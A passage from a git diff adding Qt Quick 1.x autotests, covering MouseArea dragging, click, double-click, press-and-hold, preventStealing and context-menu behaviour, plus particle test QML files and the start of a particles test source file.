+ QVERIFY(rootItem != 0);
+ QSignalSpy targetSpy(drag, SIGNAL(targetChanged()));
+ drag->setTarget(rootItem);
+ QCOMPARE(targetSpy.count(),1);
+ drag->setTarget(rootItem);
+ QCOMPARE(targetSpy.count(),1);
+
+ // axis
+ QCOMPARE(drag->axis(), QDeclarativeDrag::XandYAxis);
+ QSignalSpy axisSpy(drag, SIGNAL(axisChanged()));
+ drag->setAxis(QDeclarativeDrag::XAxis);
+ QCOMPARE(drag->axis(), QDeclarativeDrag::XAxis);
+ QCOMPARE(axisSpy.count(),1);
+ drag->setAxis(QDeclarativeDrag::XAxis);
+ QCOMPARE(axisSpy.count(),1);
+
+ // minimum and maximum properties
+ QSignalSpy xminSpy(drag, SIGNAL(minimumXChanged()));
+ QSignalSpy xmaxSpy(drag, SIGNAL(maximumXChanged()));
+ QSignalSpy yminSpy(drag, SIGNAL(minimumYChanged()));
+ QSignalSpy ymaxSpy(drag, SIGNAL(maximumYChanged()));
+
+ QCOMPARE(drag->xmin(), 0.0);
+ QCOMPARE(drag->xmax(), rootItem->width()-blackRect->width());
+ QCOMPARE(drag->ymin(), 0.0);
+ QCOMPARE(drag->ymax(), rootItem->height()-blackRect->height());
+
+ drag->setXmin(10);
+ drag->setXmax(10);
+ drag->setYmin(10);
+ drag->setYmax(10);
+
+ QCOMPARE(drag->xmin(), 10.0);
+ QCOMPARE(drag->xmax(), 10.0);
+ QCOMPARE(drag->ymin(), 10.0);
+ QCOMPARE(drag->ymax(), 10.0);
+
+ QCOMPARE(xminSpy.count(),1);
+ QCOMPARE(xmaxSpy.count(),1);
+ QCOMPARE(yminSpy.count(),1);
+ QCOMPARE(ymaxSpy.count(),1);
+
+ drag->setXmin(10);
+ drag->setXmax(10);
+ drag->setYmin(10);
+ drag->setYmax(10);
+
+ QCOMPARE(xminSpy.count(),1);
+ QCOMPARE(xmaxSpy.count(),1);
+ QCOMPARE(yminSpy.count(),1);
+ QCOMPARE(ymaxSpy.count(),1);
+
+ // filterChildren
+ QSignalSpy filterChildrenSpy(drag, SIGNAL(filterChildrenChanged()));
+
+ drag->setFilterChildren(true);
+
+ QVERIFY(drag->filterChildren());
+ QCOMPARE(filterChildrenSpy.count(), 1);
+
+ drag->setFilterChildren(true);
+ QCOMPARE(filterChildrenSpy.count(), 1);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::resetDrag()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->rootContext()->setContextProperty("haveTarget", QVariant(true));
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragreset.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeMouseArea *mouseRegion = canvas->rootObject()->findChild<QDeclarativeMouseArea*>("mouseregion");
+ QDeclarativeDrag *drag = mouseRegion->drag();
+ QVERIFY(mouseRegion != 0);
+ QVERIFY(drag != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+ QVERIFY(blackRect == drag->target());
+ QDeclarativeItem *rootItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(rootItem != 0);
+ QSignalSpy targetSpy(drag, SIGNAL(targetChanged()));
+ QVERIFY(drag->target() != 0);
+ canvas->rootContext()->setContextProperty("haveTarget", QVariant(false));
+ QCOMPARE(targetSpy.count(),1);
+ QVERIFY(drag->target() == 0);
+
+ delete canvas;
+}
+
+
+void tst_QDeclarativeMouseArea::dragging()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragging.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeMouseArea *mouseRegion = canvas->rootObject()->findChild<QDeclarativeMouseArea*>("mouseregion");
+ QDeclarativeDrag *drag = mouseRegion->drag();
+ QVERIFY(mouseRegion != 0);
+ QVERIFY(drag != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+ QVERIFY(blackRect == drag->target());
+
+ QVERIFY(!drag->active());
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
+ pressEvent.setScenePos(QPointF(100, 100));
+ pressEvent.setButton(Qt::LeftButton);
+ pressEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QVERIFY(!drag->active());
+ QCOMPARE(blackRect->x(), 50.0);
+ QCOMPARE(blackRect->y(), 50.0);
+
+ // First move event triggers drag, second is acted upon.
+ // This is due to possibility of higher stacked area taking precedence.
+ QGraphicsSceneMouseEvent moveEvent(QEvent::GraphicsSceneMouseMove);
+ moveEvent.setScenePos(QPointF(106, 106));
+ moveEvent.setButton(Qt::LeftButton);
+ moveEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(110, 110));
+ moveEvent.setButton(Qt::LeftButton);
+ moveEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &moveEvent);
+
+ QVERIFY(drag->active());
+ QCOMPARE(blackRect->x(), 60.0);
+ QCOMPARE(blackRect->y(), 60.0);
+
+ QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
+ releaseEvent.setScenePos(QPointF(110, 110));
+ releaseEvent.setButton(Qt::LeftButton);
+ releaseEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QVERIFY(!drag->active());
+ QCOMPARE(blackRect->x(), 60.0);
+ QCOMPARE(blackRect->y(), 60.0);
+
+ delete canvas;
+}
+
+QDeclarativeView *tst_QDeclarativeMouseArea::createView()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ return canvas;
+}
+
+void tst_QDeclarativeMouseArea::updateMouseAreaPosOnClick()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/updateMousePosOnClick.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeMouseArea *mouseRegion = canvas->rootObject()->findChild<QDeclarativeMouseArea*>("mouseregion");
+ QVERIFY(mouseRegion != 0);
+
+ QDeclarativeRectangle *rect = canvas->rootObject()->findChild<QDeclarativeRectangle*>("ball");
+ QVERIFY(rect != 0);
+
+ QCOMPARE(mouseRegion->mouseX(), rect->x());
+ QCOMPARE(mouseRegion->mouseY(), rect->y());
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent event(QEvent::GraphicsSceneMousePress);
+ event.setScenePos(QPointF(100, 100));
+ event.setButton(Qt::LeftButton);
+ event.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &event);
+
+ QCOMPARE(mouseRegion->mouseX(), 100.0);
+ QCOMPARE(mouseRegion->mouseY(), 100.0);
+
+ QCOMPARE(mouseRegion->mouseX(), rect->x());
+ QCOMPARE(mouseRegion->mouseY(), rect->y());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::updateMouseAreaPosOnResize()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/updateMousePosOnResize.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeMouseArea *mouseRegion = canvas->rootObject()->findChild<QDeclarativeMouseArea*>("mouseregion");
+ QVERIFY(mouseRegion != 0);
+
+ QDeclarativeRectangle *rect = canvas->rootObject()->findChild<QDeclarativeRectangle*>("brother");
+ QVERIFY(rect != 0);
+
+ QCOMPARE(mouseRegion->mouseX(), 0.0);
+ QCOMPARE(mouseRegion->mouseY(), 0.0);
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent event(QEvent::GraphicsSceneMousePress);
+ event.setScenePos(rect->pos());
+ event.setButton(Qt::LeftButton);
+ event.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &event);
+
+ QVERIFY(!mouseRegion->property("emitPositionChanged").toBool());
+ QVERIFY(mouseRegion->property("mouseMatchesPos").toBool());
+
+ QCOMPARE(mouseRegion->property("x1").toInt(), 0);
+ QCOMPARE(mouseRegion->property("y1").toInt(), 0);
+
+ // XXX: is it on purpose that mouseX is real and mouse.x is int?
+ QCOMPARE(mouseRegion->property("x2").toInt(), (int) rect->x());
+ QCOMPARE(mouseRegion->property("y2").toInt(), (int) rect->y());
+
+ QCOMPARE(mouseRegion->mouseX(), rect->x());
+ QCOMPARE(mouseRegion->mouseY(), rect->y());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::noOnClickedWithPressAndHold()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/clickandhold.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
+ pressEvent.setScenePos(QPointF(100, 100));
+ pressEvent.setButton(Qt::LeftButton);
+ pressEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QVERIFY(!canvas->rootObject()->property("clicked").toBool());
+ QVERIFY(!canvas->rootObject()->property("held").toBool());
+
+ QTest::qWait(1000);
+
+ QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
+ releaseEvent.setScenePos(QPointF(100, 100));
+ releaseEvent.setButton(Qt::LeftButton);
+ releaseEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QVERIFY(!canvas->rootObject()->property("clicked").toBool());
+ QVERIFY(canvas->rootObject()->property("held").toBool());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::onMousePressRejected()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/rejectEvent.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+ QVERIFY(canvas->rootObject()->property("enabled").toBool());
+
+ QVERIFY(!canvas->rootObject()->property("mr1_pressed").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr1_released").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr1_canceled").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr2_pressed").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr2_released").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr2_canceled").toBool());
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
+ pressEvent.setScenePos(QPointF(100, 100));
+ pressEvent.setButton(Qt::LeftButton);
+ pressEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QVERIFY(canvas->rootObject()->property("mr1_pressed").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr1_released").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr1_canceled").toBool());
+ QVERIFY(canvas->rootObject()->property("mr2_pressed").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr2_released").toBool());
+ QVERIFY(canvas->rootObject()->property("mr2_canceled").toBool());
+
+ QTest::qWait(200);
+
+ QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
+ releaseEvent.setScenePos(QPointF(100, 100));
+ releaseEvent.setButton(Qt::LeftButton);
+ releaseEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QVERIFY(canvas->rootObject()->property("mr1_released").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr1_canceled").toBool());
+ QVERIFY(!canvas->rootObject()->property("mr2_released").toBool());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::doubleClick()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/doubleclick.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
+ pressEvent.setScenePos(QPointF(100, 100));
+ pressEvent.setButton(Qt::LeftButton);
+ pressEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
+ releaseEvent.setScenePos(QPointF(100, 100));
+ releaseEvent.setButton(Qt::LeftButton);
+ releaseEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QCOMPARE(canvas->rootObject()->property("released").toInt(), 1);
+
+ QGraphicsSceneMouseEvent dblClickEvent(QEvent::GraphicsSceneMouseDoubleClick);
+ dblClickEvent.setScenePos(QPointF(100, 100));
+ dblClickEvent.setButton(Qt::LeftButton);
+ dblClickEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &dblClickEvent);
+
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 1);
+ QCOMPARE(canvas->rootObject()->property("doubleClicked").toInt(), 1);
+ QCOMPARE(canvas->rootObject()->property("released").toInt(), 2);
+
+ delete canvas;
+}
+
+// QTBUG-14832
+void tst_QDeclarativeMouseArea::clickTwice()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/clicktwice.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
+ pressEvent.setScenePos(QPointF(100, 100));
+ pressEvent.setButton(Qt::LeftButton);
+ pressEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
+ releaseEvent.setScenePos(QPointF(100, 100));
+ releaseEvent.setButton(Qt::LeftButton);
+ releaseEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QCOMPARE(canvas->rootObject()->property("pressed").toInt(), 1);
+ QCOMPARE(canvas->rootObject()->property("released").toInt(), 1);
+ QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 1);
+
+ QGraphicsSceneMouseEvent dblClickEvent(QEvent::GraphicsSceneMouseDoubleClick);
+ dblClickEvent.setScenePos(QPointF(100, 100));
+ dblClickEvent.setButton(Qt::LeftButton);
+ dblClickEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &dblClickEvent);
+
+ QApplication::sendEvent(scene, &pressEvent);
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QCOMPARE(canvas->rootObject()->property("pressed").toInt(), 2);
+ QCOMPARE(canvas->rootObject()->property("released").toInt(), 2);
+ QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 2);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::pressedOrdering()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pressedOrdering.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("base"));
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
+ pressEvent.setScenePos(QPointF(100, 100));
+ pressEvent.setButton(Qt::LeftButton);
+ pressEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
+
+ QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
+ releaseEvent.setScenePos(QPointF(100, 100));
+ releaseEvent.setButton(Qt::LeftButton);
+ releaseEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("toggled"));
+
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::preventStealing()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/preventstealing.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+ QVERIFY(flickable != 0);
+
+ QDeclarativeMouseArea *mouseArea = canvas->rootObject()->findChild<QDeclarativeMouseArea*>("mousearea");
+ QVERIFY(mouseArea != 0);
+
+ QSignalSpy mousePositionSpy(mouseArea, SIGNAL(positionChanged(QDeclarativeMouseEvent*)));
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(80, 80)));
+
+ // Without preventStealing, mouse movement over MouseArea would
+ // cause the Flickable to steal mouse and trigger content movement.
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent moveEvent(QEvent::GraphicsSceneMouseMove);
+ moveEvent.setScenePos(QPointF(70, 70));
+ moveEvent.setButton(Qt::LeftButton);
+ moveEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(60, 60));
+ moveEvent.setButton(Qt::LeftButton);
+ moveEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(50, 50));
+ moveEvent.setButton(Qt::LeftButton);
+ moveEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &moveEvent);
+
+ // We should have received all three move events
+ QCOMPARE(mousePositionSpy.count(), 3);
+ QVERIFY(mouseArea->pressed());
+
+ // Flickable content should not have moved.
+ QCOMPARE(flickable->contentX(), 0.);
+ QCOMPARE(flickable->contentY(), 0.);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50)));
+
+ // Now allow stealing and confirm Flickable does its thing.
+ canvas->rootObject()->setProperty("stealing", false);
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(80, 80)));
+
+ // Without preventStealing, mouse movement over MouseArea would
+ // cause the Flickable to steal mouse and trigger content movement.
+ moveEvent.setScenePos(QPointF(70, 70));
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(60, 60));
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(50, 50));
+ QApplication::sendEvent(scene, &moveEvent);
+
+ // We should only have received the first move event
+ QCOMPARE(mousePositionSpy.count(), 4);
+ // Our press should be taken away
+ QVERIFY(!mouseArea->pressed());
+
+ // Flickable content should have moved.
+ QCOMPARE(flickable->contentX(), 10.);
+ QCOMPARE(flickable->contentY(), 10.);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50)));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; MouseArea { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; MouseArea { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativeMouseArea::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("preventStealing") << "preventStealing: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"MouseArea.preventStealing\" is not available in QtQuick 1.0.\n";
+}
+
+#ifndef QT_NO_CONTEXTMENU
+class ContextMenuEventReceiver : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(int eventCount READ eventCount NOTIFY eventCountChanged);
+public:
+ ContextMenuEventReceiver(QDeclarativeItem *parent = 0) : QDeclarativeItem(parent), m_eventCount(0) { }
+ int eventCount() const { return m_eventCount; }
+signals:
+ void eventCountChanged(int);
+protected:
+ void contextMenuEvent(QGraphicsSceneContextMenuEvent *event) {
+ if (event->reason() == QGraphicsSceneContextMenuEvent::Mouse) {
+ m_eventCount++;
+ emit eventCountChanged(m_eventCount);
+ }
+ }
+private:
+ int m_eventCount;
+};
+
+void tst_QDeclarativeMouseArea::preventContextMenu()
+{
+ // A MouseArea accepting Left, Middle and Right buttons should prevent context menu
+ // events with "Mouse" reason to hit the Item below.
+
+ qmlRegisterType<ContextMenuEventReceiver>("Test", 1, 0, "ContextMenuEventReceiver");
+
+ QDeclarativeView *view = createView();
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/preventContextMenu.qml"));
+ view->show();
+ QVERIFY(view->rootObject() != 0);
+
+ QDeclarativeProperty mouseAreaEnabled(view->rootObject(), "mouseAreaEnabled");
+ QVERIFY(mouseAreaEnabled.read().toBool());
+
+ QDeclarativeProperty eventsReceived(view->rootObject(), "eventsReceived");
+ QCOMPARE(eventsReceived.read().toInt(), 0);
+
+ QPoint targetPoint = view->mapFromScene(QPoint(80, 80));
+
+ QContextMenuEvent fakeEvent1(QContextMenuEvent::Mouse, targetPoint);
+ QApplication::sendEvent(view->viewport(), &fakeEvent1);
+ QCOMPARE(eventsReceived.read().toInt(), 0);
+
+ mouseAreaEnabled.write(false);
+ QVERIFY(!mouseAreaEnabled.read().toBool());
+ QContextMenuEvent fakeEvent2(QContextMenuEvent::Mouse, targetPoint);
+ QApplication::sendEvent(view->viewport(), &fakeEvent2);
+ QCOMPARE(eventsReceived.read().toInt(), 1);
+
+ mouseAreaEnabled.write(true);
+ QVERIFY(mouseAreaEnabled.read().toBool());
+ QContextMenuEvent fakeEvent3(QContextMenuEvent::Mouse, targetPoint);
+ QApplication::sendEvent(view->viewport(), &fakeEvent3);
+ QCOMPARE(eventsReceived.read().toInt(), 1);
+}
+#endif // QT_NO_CONTEXTMENU
+
+QTEST_MAIN(tst_QDeclarativeMouseArea)
+
+#include "tst_qdeclarativemousearea.moc"
diff --git a/tests/auto/declarative/qdeclarativeparticles/data/particle.png b/tests/auto/declarative/qdeclarativeparticles/data/particle.png
new file mode 100644
index 00000000..defbde53
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeparticles/data/particle.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeparticles/data/particlemotiontest.qml b/tests/auto/declarative/qdeclarativeparticles/data/particlemotiontest.qml
new file mode 100644
index 00000000..dad97465
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeparticles/data/particlemotiontest.qml
@@ -0,0 +1,35 @@
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "black"
+ Particles {
+ objectName: "particles"
+ anchors.fill: parent
+ width: 1
+ height: 1
+ source: "particle.png"
+ lifeSpan: 5000
+ count: 200
+ angle: 270
+ angleDeviation: 45
+ velocity: 50
+ velocityDeviation: 30
+ ParticleMotionGravity {
+ objectName: "motionGravity"
+ yattractor: 1000
+ xattractor: 0
+ acceleration: 25
+ }
+ }
+ resources: [
+ ParticleMotionWander {
+ objectName: "motionWander"
+ xvariance: 30
+ yvariance: 30
+ pace: 100
+ }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativeparticles/data/particlestest.qml b/tests/auto/declarative/qdeclarativeparticles/data/particlestest.qml
new file mode 100644
index 00000000..c76fe9b8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeparticles/data/particlestest.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Rectangle{
+ width: 100
+ height: 100
+ color: "black"
+ objectName: "rect"
+ Particles { id: particles
+ objectName: "particles"
+ width:1; height:1; anchors.centerIn: parent; opacity: 1
+ lifeSpan: 100; lifeSpanDeviation: 20; count:1000;
+ fadeInDuration: 20; fadeOutDuration: 20; emissionRate: 1000
+ angle: 0; angleDeviation: 360; velocity: 500; velocityDeviation:30
+ source: "particle.png"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeparticles/qdeclarativeparticles.pro b/tests/auto/declarative/qdeclarativeparticles/qdeclarativeparticles.pro
new file mode 100644
index 00000000..2cf82683
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeparticles/qdeclarativeparticles.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeparticles.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeparticles/tst_qdeclarativeparticles.cpp b/tests/auto/declarative/qdeclarativeparticles/tst_qdeclarativeparticles.cpp
new file mode 100644
index 00000000..7e98a7a8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeparticles/tst_qdeclarativeparticles.cpp
@@ -0,0 +1,219 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtTest/QtTest>
+#include <QtTest/QSignalSpy>
+#include <qdeclarativeview.h>
+#include <QGraphicsObject>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativeParticles : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeParticles();
+
+private slots:
+ void properties();
+ void motionGravity();
+ void motionWander();
+ void runs();
+private:
+ QDeclarativeView *createView(const QString &filename);
+
+};
+
+tst_QDeclarativeParticles::tst_QDeclarativeParticles()
+{
+}
+
+void tst_QDeclarativeParticles::properties()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/particlestest.qml");
+ QVERIFY(canvas->rootObject());
+
+ QObject* particles = canvas->rootObject()->findChild<QObject*>("particles");
+ QVERIFY(particles);
+
+ particles->setProperty("source", QUrl::fromLocalFile(SRCDIR "/data/particle.png"));
+ QCOMPARE(particles->property("source").toUrl(), QUrl::fromLocalFile(SRCDIR "/data/particle.png"));
+
+ particles->setProperty("lifeSpanDeviation", (1000));
+ QCOMPARE(particles->property("lifeSpanDeviation").toInt(), 1000);
+
+ particles->setProperty("fadeInDuration", 1000);
+ QCOMPARE(particles->property("fadeInDuration").toInt(), 1000);
+
+ particles->setProperty("fadeOutDuration", 1000);
+ QCOMPARE(particles->property("fadeOutDuration").toInt(), 1000);
+
+ particles->setProperty("angle", 100.0);
+ QCOMPARE(particles->property("angle").toDouble(), 100.0);
+
+ particles->setProperty("angleDeviation", 100.0);
+ QCOMPARE(particles->property("angleDeviation").toDouble(), 100.0);
+
+ particles->setProperty("velocity", 100.0);
+ QCOMPARE(particles->property("velocity").toDouble(), 100.0);
+
+ particles->setProperty("velocityDeviation", 100.0);
+ QCOMPARE(particles->property("velocityDeviation").toDouble(), 100.0);
+
+ particles->setProperty("emissionVariance", 0.5);
+ QCOMPARE(particles->property("emissionVariance").toDouble(),0.5);
+
+ particles->setProperty("emissionRate", 12);
+ QCOMPARE(particles->property("emissionRate").toInt(), 12);
+}
+
+void tst_QDeclarativeParticles::motionGravity()
+{
